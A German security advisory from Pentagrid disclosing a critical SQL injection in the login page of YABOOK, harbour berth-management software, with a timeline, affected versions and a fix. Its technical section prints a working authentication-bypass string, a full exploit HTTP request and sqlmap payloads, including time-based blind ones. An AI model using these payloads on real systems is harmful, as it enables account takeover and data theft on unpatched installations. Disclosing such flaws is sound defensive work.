SQL-Injektion in Hafenverwaltung YABOOK erlaubt Umgehung der Authentisierung
YABOOK ist eine webbasierte Software von News-Solutions zur Verwaltung von Anliegerplätzen in Häfen. Einige Häfen nutzen diese Lösung als gehostete Applikation oder auch als On-Prem-Installation. Bei einer Sicherheitsuntersuchung stellte Pentagrid eine SQL-Injection in der Login-Maske der Webanwendung fest, die eine Authentisierungsumgehung ermöglichte. Dieses Sicherheitsproblem ist behoben.
Timeline
2023-12-13: Initialer Kontakt mit dem Hersteller und initiales Advisory gesendet.
2023-12-13: Verifiziert, dass der Fehler in Version 6.61 behoben ist.
2024-02-13: CVE-ID beantragt.
2024-03-12: Frist für Veröffentlichung nach 90 Tagen.
1. SQL-Injection in der Hafenverwaltung YABOOK
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, 9.8 Kritisch
Betroffene Komponenten
Pentagrid stellte die Verwundbarkeit in folgenden Versionen von YABOOK in der On-Prem-Installation bei einem Penetrationstest fest. Weitere Versionen sind voraussichtlich ebenfalls betroffen.
Version 3.43
Version 5.80
Zusammenfassung
Die Web-Anwendung YABOOK weist auf der Login-Seite eine SQL-Injection-Verwundbarkeit auf, die durch unauthentisierte Personen im Netzwerk bzw. über das Internet ausgenutzt werden kann.
Auswirkung
Die Authentisierung ist umgehbar. Das Administrator-Konto kann übernommen werden. Mit der SQL-Injection kann die Anwendung vollständig kompromittiert werden. Alle Daten der Anwendung können ausgelesen und manipuliert werden. Das Auslesen und Ermitteln von Passwörtern kann sich gegebenenfalls auch auf andere Anwendungen auswirken, wenn Passwörter wiederverwendet werden.
Technische Details
Beide getesteten Versionen sind bei der Verarbeitung von Login-Daten von einer SQL-Injection im Feld username
betroffen. Bei der Eingabe ungerader Anzahlen von Hochkommas tritt eine Fehlermeldung auf, wie folgende Beispielanfrage zeigt:
POST /kasse/ HTTP/1.1 Host: XX.XX.XX.XX User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 63 Origin: http://XX.XX.XX.XX DNT: 1 Connection: close Referer: http://XX.XX.XX.XX/kasse/ Cookie: Kasse=fnba5lhg04ib7e6v3qqk81gu05 Upgrade-Insecure-Requests: 1 username=administrator%27%29+OR+1%3D1&password=asd&submit=Login
Diese HTTP-Anfrage resultiert in folgender HTTP-Antwort:
HTTP/1.1 200 OK Date: [...] Server: [...] X-Powered-By: [...] Expires: [...] Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 4613 Connection: close Content-Type: text/html <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Hafenverwaltung - YABOOK</title> [...] </div> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') AND (password='7815696ecbf1c96e6894b779456d330e')' at line 1<div class=error>Benutzername oder Passwort falsch!</div>
Oft verwenden Webanwendungen zum Überprüfen eines validen Logins eine SQL-Abfrage, die ermittelt, ob zu den eingegebenen Logindaten ein passender Nutzer in der Datenbank gefunden wird. Ist das Ergebnis der Abfrage größer Null, wird der Zutritt gewährt. Derartige Abfragen lassen sich, sofern die Seite von einer SQL-Injection-Schwachstelle betroffen ist, ausnutzen, indem die Abfrage so manipuliert wird, dass das Ergebnis immer größer Null ist, unabhängig von dem eingegebenen Passwort. Dies ist auch bei YABOOK der Fall. Wird als Nutzername die Zeichenkette admin') OR ('1'='1
eingegeben, zusammen mit einem beliebigen Passwort, wird man automatisch als Administrator angemeldet.
Auch mittels Sqlmap konnte die Schwachstelle gefunden und das Datenbank-Backend ermittelt werden, wie folgender Ausschnitt zeigt:
[13:32:53] [INFO] resuming back-end DBMS 'mysql' [13:32:53] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: error-based Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) Payload: username=administrator') AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170767671,(SELECT (ELT(2508=2508,1))),0x716b6b7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- xddc&password=&submit=Login Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=administrator') AND (SELECT 5783 FROM (SELECT(SLEEP(5)))dTQF)-- jOzA&password=&submit=Login --- [13:32:53] [INFO] the back-end DBMS is MySQL [13:32:53] [INFO] fetching banner [13:32:53] [INFO] resumed: [...] web server operating system: Linux Debian [...] web application technology: [...] back-end DBMS: MySQL >= 5.5 banner: [...]
Mit Sqlmap war es außerdem möglich, Passwort-Hashes der Nutzerkonten abzufragen. Die Passwort-Hashes sind MD5-Hashes der Passwörter ohne weiteren Salt-Wert, wodurch ein Bruteforce-Angriff auf die Hashes vereinfacht wird. MD5-Hashes lassen sich effizient generieren und damit durchprobieren, weshalb das Verfahren für Passwort-Hashing nicht mehr dem Stand der Technik entspricht.
Vorbedingung
Ein Angreifer benötigt Zugang zum Netzwerk und muss die Webanwendung im Netzwerk erreichen können. Dies entfällt, falls die Anwendung auch aus dem Internet erreichbar ist, wie es bei anderen Häfen in Deutschland der Fall ist.
Empfehlung
Pentagrid empfahl dem Hersteller:
Das Sicherheitsproblem zu beheben und auf weitere Sicherheitsprobleme zu prüfen.
Keine Fehlermeldungen zu fehlerhafter SQL-Syntax auszugeben.
Betroffene Kunden zu informieren.
Pentagrid empfiehlt Nutzern:
Auf eine aktuelle Version der Software umzustellen. Version 6.61 ist Tests der Pentagrid zufolge frei von dem Problem.
Credits
Das Sicherheitsproblem wurde von Ole Diederich (Pentagrid) gefunden.